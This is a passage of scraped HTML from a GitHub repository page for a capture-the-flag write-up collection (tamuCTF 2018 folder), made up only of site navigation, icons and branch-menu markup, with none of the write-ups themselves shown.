value="758xri+crJmS+2U9uIEdtt7TzOwvgOiYu25dSAljl4Shaa9f+HNrgMhKgXhzoqztgbNO4n6Cw2noGOoCSiBhAg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> BellalArezkiMustapha </span> <span>/</span> Ctf-Write-Up
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>1</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/BellalArezkiMustapha/Ctf-Write-Up/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":121957951,"originating_url":"https://github.com/BellalArezkiMustapha/Ctf-Write-Up/tree/master/tamuCTF2k18","user_id":null}}" data-hydro-click-hmac="eb82c3966a5883ade5e0a65c015e96348d1d31a5025232646ca41b02c75f0ee7"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/BellalArezkiMustapha/Ctf-Write-Up/refs" cache-key="v0:1518963226.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmVsbGFsQXJlemtpTXVzdGFwaGEvQ3RmLVdyaXRlLVVw" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/BellalArezkiMustapha/Ctf-Write-Up/refs" cache-key="v0:1518963226.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmVsbGFsQXJlemtpTXVzdGFwaGEvQ3RmLVdyaXRlLVVw" >
